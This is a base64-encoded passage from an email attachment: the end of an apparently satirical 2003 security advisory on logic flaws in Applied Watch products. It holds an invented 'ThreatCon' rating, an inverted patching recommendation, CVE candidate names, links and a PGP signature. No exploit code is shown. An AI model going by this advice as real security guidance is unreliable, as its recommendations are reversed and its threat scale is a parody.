ICAgICAgVGhlIHJlbGVhc2Ugb2YgdGhpcyBpbmZvcm1hdGlvbiBhbmQgZXhw
bG9pdHMgaW5jcmVhc2VzIHRoZSBHbG9iYWwNClRocmVhdENvbiBMZXZlbCB0
byBhIHJlY29yZC1icmVha2luZyBpbmRleCBvZiA5LzEzIChtb3JlIGRhbmdl
cm91cyB0aGFuDQpub3JtYWwpIGxldmVsLiAgV2UgaG9wZSB0aGF0IEFwcGxp
ZWQgV2F0Y2ggd2lsbCByZWxlYXNlIHRoZWlyIHBhdGNoZXMgDQpzb29uIHNv
IHRoYXQgdGhlIFRocmVhdENvbiBjYW4gYmUgbG93ZXJlZCB0byBhIG1vcmUg
cmVhc29uYWJsZSBsZXZlbC4gIElmDQp5b3UgaGF2ZSBhbnkgcXVlc3Rpb25z
IHJlZ2FyZGluZyB0aGUgR2xvYmFsIFRocmVhdENvbiwgcGxlYXNlIHZpc2l0
DQoJaHR0cDovL3d3dy5idWd0cmFxLm9yZy90aHJlYXRjb24uaHRtbA0KDQoN
ClJlY29tbWVuZGF0aW9uOg0KICAgICAgSWYgdGhlIHNlY3VyaXR5IG9mIHlv
dXIgbmV0d29yayBpcyByZXF1aXJlZCwgdGhlbiBGYXRlbGFicyAvDQpBcHBs
aWVkV2F0Y2ggcHJvZHVjdHMgc2hvdWxkIGJlIHJlbW92ZWQgb3IgZGlzYWJs
ZWQgb24gdGhlIGhvc3QgaW4NCnF1ZXN0aW9uLiAgSWYgaXQgaXMgbm90IHJl
cXVpcmVkLCBlbnRlcnByaXNlcyBzaG91bGQgZGVwbG95IHZlbmRvciBwYXRj
aGVzDQpmb3IgdGhlIGFib3ZlIHZ1bG5lcmFiaWxpdGllcyB3aGVuIHRoZXkg
YmVjb21lIGF2YWlsYWJsZS4gIEluIGFkZGl0aW9uLA0KZW50ZXJwcmlzZXMg
c2hvdWxkIGxvb2sgdG8gcmVtb3ZlIGFsbCBkZWZhdWx0IHNlcnZpY2VzIGlm
IG5vdCByZXF1aXJlZCBpbg0KcHJvZHVjdGlvbiBzeXN0ZW1zIG9yIGFkZXF1
YXRlbHkgcHJvdGVjdCB0aG9zZSB0aGF0IGFyZSByZXF1aXJlZCBhbmQgDQp1
bmRlcnRha2Ugb3RoZXIgb2J2aW91cyBzZWN1cml0eSBtZWFzdXJlcy4NCg0K
Q29tbW9uIFZ1bG5lcmFiaWxpdGllcyBhbmQgRXhwb3N1cmVzIChDVkUpIElu
Zm9ybWF0aW9uOg0KDQpUaGUgQ29tbW9uIFZ1bG5lcmFiaWxpdGllcyBhbmQg
RXhwb3N1cmVzIChDVkUpIHByb2plY3QgaGFzIGFzc2lnbmVkIA0KdGhlIGZv
bGxvd2luZyBuYW1lcyB0byB0aGVzZSBpc3N1ZXMuICBUaGVzZSBhcmUgY2Fu
ZGlkYXRlcyBmb3IgDQppbmNsdXNpb24gaW4gdGhlIENWRSBsaXN0IChodHRw
Oi8vY3ZlLm1pdHJlLm9yZyksIHdoaWNoIHN0YW5kYXJkaXplcyANCm5hbWVz
IGZvciBzZWN1cml0eSBwcm9ibGVtcy4NCg0KICBDQU4tMjAwMy0wOTYwIC0g
TG9naWNhbCBlcnJvciBpbiBBcHBsaWVkIFdhdGNoIENvbnNvbGUgYWxsb3dp
bmcgdXNlci1hZGRzDQogIENBTi0yMDAzLTA5NjEgLSBMb2dpY2FsIGVycm9y
IGluIEFwcGxpZWQgV2F0Y2ggTm9kZXMgYWxsb3dpbmcgcnVsZS1hZGRzDQoN
CkJ1Z3RyYXEgU2VjdXJpdHkgU3lzdGVtcyBWdWxuZXJhYmlsaXR5IFJlcG9y
dGluZyBQb2xpY3k6IA0KICAgICAgaHR0cDovL3d3dy5idWd0cmFxLm9yZy9y
ZXNlYXJjaC9wb2xpY3kvDQoNCkJ1Z3RyYXEgU2VjdXJpdHkgU3lzdGVtcyBB
ZHZpc29yeSBBcmNoaXZlOg0KICAgICAgaHR0cDovL3d3dy5idWd0cmFxLm9y
Zy9hZHZpc29yaWVzLmh0bWwNCg0KQnVndHJhcSBTZWN1cml0eSBTeXN0ZW1z
IFBHUCBLZXk6DQogICAgICBodHRwOi8vd3d3LmJ1Z3RyYXEub3JnL3BncF9r
ZXkuYXNjDQoNCkJ1Z3RyYXEgU2VjdXJpdHkgU3lzdGVtcyBpcyBjdXJyZW50
bHkgc2Vla2luZyBhcHBsaWNhdGlvbiBzZWN1cml0eSBleHBlcnRzIA0KdG8g
ZmlsbCBzZXZlcmFsIGNvbnN1bHRpbmcgcG9zaXRpb25zLiAgQXBwbGljYW50
cyBzaG91bGQgaGF2ZSBzdHJvbmcgDQphcHBsaWNhdGlvbiBkZXZlbG9wbWVu
dCBza2lsbHMgYW5kIGJlIGFibGUgdG8gcGVyZm9ybSBhcHBsaWNhdGlvbiBz
ZWN1cml0eQ0KZGVzaWduIHJldmlld3MsIGNvZGUgcmV2aWV3cywgYW5kIGFw
cGxpY2F0aW9uIHBlbmV0cmF0aW9uIHRlc3RpbmcuICBQbGVhc2UNCnNlbmQg
cmVzdW1lcyB0byBqb2JzQGJ1Z3RyYXEub3JnDQoNCkNvcHlyaWdodCAyMDAz
IEJ1Z3RyYXEgU2VjdXJpdHkgU3lzdGVtcy4gQWxsIHJpZ2h0cyByZXNlcnZl
ZC4NCi0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tDQpWZXJzaW9uOiBH
bnVQRyB2MS4yLjEgKEdOVS9MaW51eCkNCg0KaUQ4REJRRS94cVFhZDNJcUhu
cEYzdm9SQWsydkFKOWE3SmdaOHAvRlJDZGdOL3FqcVlNRXlZbmorUUNna0dv
cg0Kdll3VGljcjNpQ3RmZHJieGMwZWVvY1k9DQo9R0FFbA0KLS0tLS1FTkQg
UEdQIFNJR05BVFVSRS0tLS0tDQo=
--0-1566679201-1070046624=:21027--
